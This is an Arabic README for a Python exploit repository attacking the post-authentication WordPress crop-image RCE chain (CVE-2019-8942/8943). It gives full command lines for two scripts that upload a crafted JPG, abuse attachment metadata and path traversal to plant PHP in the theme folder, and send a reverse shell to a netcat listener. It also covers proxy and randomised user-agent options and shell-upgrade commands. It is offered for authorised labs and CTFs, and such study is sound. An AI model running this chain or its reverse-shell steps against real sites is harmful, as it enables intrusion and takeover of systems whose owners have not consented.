أداة استغلال بلغة بايثون لـ WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943
تنفيذ بلغة Python3 لسلسلة استغلال ثغرة اقتصاص الصور في ووردبريس بعد المصادقة. المستودع منظم حول سيري عمل مستقلين: سكربت يدوي على نمط OSCP وسكربت آلي بالكامل مع معالج شل عكسي مدمج.
استخدم هذا فقط في المختبرات المصرح بها، مسابقات CTF، منصات التدريب، أو الأنظمة التي لديك إذن صريح لاختبارها.
سلسلة الاستغلال تستهدف الثغرات المسجلة باسم:
CVE-2019-8942CVE-2019-8943وحدة Metasploit العامة لهذه الثغرة تصف الإصدارات المتأثرة على النحو التالي:
WordPress 5.0.0 and WordPress <= 4.9.8
مطلوب حساب ووردبريس صالح مع صلاحيات رفع/تحرير الوسائط. في العديد من بيئات المختبرات، مستخدم بمستوى Author كافٍ.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg هو الحامل الافتراضي لـJPG المستخدم في سكربت نمط OSCP. تم تضمينه ليعمل سير العمل اليدوي فورًا دون الحاجة للبحث عن صورة عشوائية.
autoexploit.py مستقل بذاته ويتضمن حامل JPG سداسي عشري داخليًا، ولكنه يمكنه أيضًا قبول JPG مخصص باستخدام -i.
python3 -m pip install -r requirements.txt
حزمة Python الوحيدة المطلوبة هي:
requests
إذا كنت تريد دعم وكيل SOCKS، قم بتثبيت requests مع إضافات SOCKS في بيئتك:
python3 -m pip install 'requests[socks]'
| السكربت | الأنسب لـ | التعامل مع الصورة | التعامل مع الشل |
|---|---|---|---|
exploit_oscp.py | استغلال يدوي/على نمط OSCP | يستخدم image.jpg افتراضيًا، أو -i custom.jpg | تبدأ nc يدويًا |
autoexploit.py | استخدام سريع في المختبر واختبارات متكررة | يستخدم JPG سداسي عشري مضمن افتراضيًا، أو -i custom.jpg | يبدأ المستمع، يطلق ردود الاتصال، ويفتح وحدة تحكم تفاعلية |
كلا السكربتين مستقلتان. لا تستورد أي منهما كودًا من الأخرى.
exploit_oscp.py يحافظ على وضوح سير العمل. يقوم بتحضير حامل الصورة، وينفذ سلسلة استغلال ووردبريس بعد المصادقة، ويؤكد تنفيذ الأمر، ويطلق شل عكسي إلى المستمع الذي بدأته يدويًا.
لا يبدأ معالجًا تلقائيًا ولا يستخدم Metasploit أو Meterpreter أو msfvenom.
ابدأ المستمع أولاً:
nc -lvnp 443
قم بتشغيل الاستغلال باستخدام image.jpg الافتراضي:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| الخيار | مطلوب | الافتراضي | المعنى |
|---|---|---|---|
-t, --target | نعم | لا شيء | عنوان URL الأساسي لووردبريس المستهدف، مثلاً http://target.local/ |
-u, --username | نعم | لا شيء | اسم مستخدم ووردبريس |
-p, --password | نعم | لا شيء | كلمة مرور ووردبريس |
-i, --image | لا | image.jpg | حامل JPG لتحضيره ورفعه |
--lhost | نعم | لا شيء | عنوان IP لرد الاتصال الخاص بك، عادة عنوان VPN/tun0 الخاص بك |
--lport | نعم | لا شيء | المنفذ الذي ينتظر عليه المستمع اليدوي الخاص بك |
--proxy | لا | لا شيء | عنوان URL للوكيل، مثلاً http://127.0.0.1:8080 أو socks5://127.0.0.1:9050 |
--user-agent | لا | مضمن | رأس User-Agent مخصص |
--random-user-agent | لا | معطل | استخدام User-Agent عشوائي يشبه المتصفح |
--timeout | لا | 20 | مهلة HTTP بالثواني |
--debug | لا | معطل | طباعة مخرجات تصحيح HTTP وحفظ الردود الفاشلة المفيدة |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py مصمم للسرعة. يمكن تشغيله ببيانات اعتماد الهدف فقط وسيحاول تحديد عنوان IP لرد الاتصال ومنفذ المستمع تلقائيًا.
ينفذ تدفق الاستغلال الكامل، ويبدأ مستمعًا محليًا، ويجرب عدة أنماط من حمولات الشل العكسي، ويفتح وحدة تحكم تفاعلية أنظف مع رسائل حالة محلية ملونة ومعالجة هادئة لترقية TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| الخيار | مطلوب | الافتراضي | المعنى |
|---|---|---|---|
-t, --target | نعم | لا شيء | عنوان URL الأساسي لووردبريس المستهدف |
-u, --username | نعم | لا شيء | اسم مستخدم ووردبريس |
-p, --password | نعم | لا شيء | كلمة مرور ووردبريس |
-i, --image | لا | JPG سداسي عشري مضمن | حامل JPG مخصص اختياري |
--lhost | لا | كشف تلقائي | عنوان IP لرد الاتصال المستخدم من قبل الشل العكسي |
--lport | لا | منفذ محلي حر | منفذ المستمع المحلي |
--listen-timeout | لا | 12 | ثواني الانتظار لكل محاولة شل عكسي |
--proxy | لا | لا شيء | عنوان URL للوكيل، مثلاً http://127.0.0.1:8080 أو socks5://127.0.0.1:9050 |
--user-agent | لا | مضمن | رأس User-Agent مخصص |
--random-user-agent | لا | معطل | استخدام User-Agent عشوائي يشبه المتصفح |
--timeout | لا | 20 | مهلة HTTP بالثواني |
--debug | لا | معطل | طباعة مخرجات تصحيح HTTP وحفظ الردود الفاشلة المفيدة |
وكيل HTTP عبر Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
وكيل SOCKS:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
User-Agent مخصص:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
User-Agent عشوائي:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
هذا ليس رفع PHP عاديًا. ووردبريس يتوقع محتوى صورة، ويعالج الملف عبر محرر الوسائط، وينشئ صورة مقتصة. ثم تستغل سلسلة الاستغلال البيانات الوصفية للمرفقات وتجاوز المسار لوضع صورة مقتصة داخل مجلد القالب النشط. أخيرًا، يتم الإشارة إلى الملف المقتص كقالب صفحة ليقوم ووردبريس بتضمينه كـ PHP.
JPG عشوائي مع PHP موضوعة في بيانات EXIF الهشة قد يفشل لأن GD يمكنه إزالة أو إعادة ترميز البيانات الوصفية أثناء معالجة الاقتصاص. هذا المستودع يحافظ على وضوح سير العمل:
exploit_oscp.py يستخدم image.jpg المضمن افتراضيًا أو صورة مخصصة مرسلة مع -i.autoexploit.py يحتوي على حامل سداسي عشري داخلي ليبقى مستقلاً بذاته.async-upload.php._wp_attached_file للتأثير على مسار مخرجات الاقتصاص._wp_page_template إلى اسم JPG المقتص.0.تحقق من أن إصدار ووردبريس ضعيف وأن الحساب يمكنه رفع وتحرير الوسائط.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
تحقق من عنوان IP لرد الاتصال والمستمع.
ip addr show tun0
nc -lvnp 443
ثم قم بتشغيل سكربت OSCP مرة أخرى مع --lhost الصحيح.
استخدم خيار الوكيل صراحةً:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
قم بتثبيت دعم SOCKS:
python3 -m pip install 'requests[socks]'
الشل العكسي الأساسي محدود غالبًا. السكربت الآلي يحاول ترقية الجلسة تلقائيًا. في وضع OSCP، قم بالترقية يدويًا بعد تلقي رد الاتصال:
python3 -c 'import pty; pty.spawn("/bin/bash")'
اضغط Ctrl+Z محليًا، ثم قم بتشغيل:
stty raw -echo; fg
داخل الشل:
export TERM=xterm
exploit_oscp.py يدوي عن قصد:
autoexploit.py;LHOST و LPORT صريحان;سير العمل المقصود هو:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
البحث وسلسلة الثغرات تم توثيقهما علنًا من قبل الباحثين الأصليين وتم تنفيذهما لاحقًا في أطر استغلال عامة.
تنفيذ Python وسير عمل المختبر بواسطة SpeatX.
هذا المستودع مقدم لاختبار الأمان المصرح به، مسابقات CTF، مختبرات التدريب، والبحث التعليمي.
لا تقم بتشغيله ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.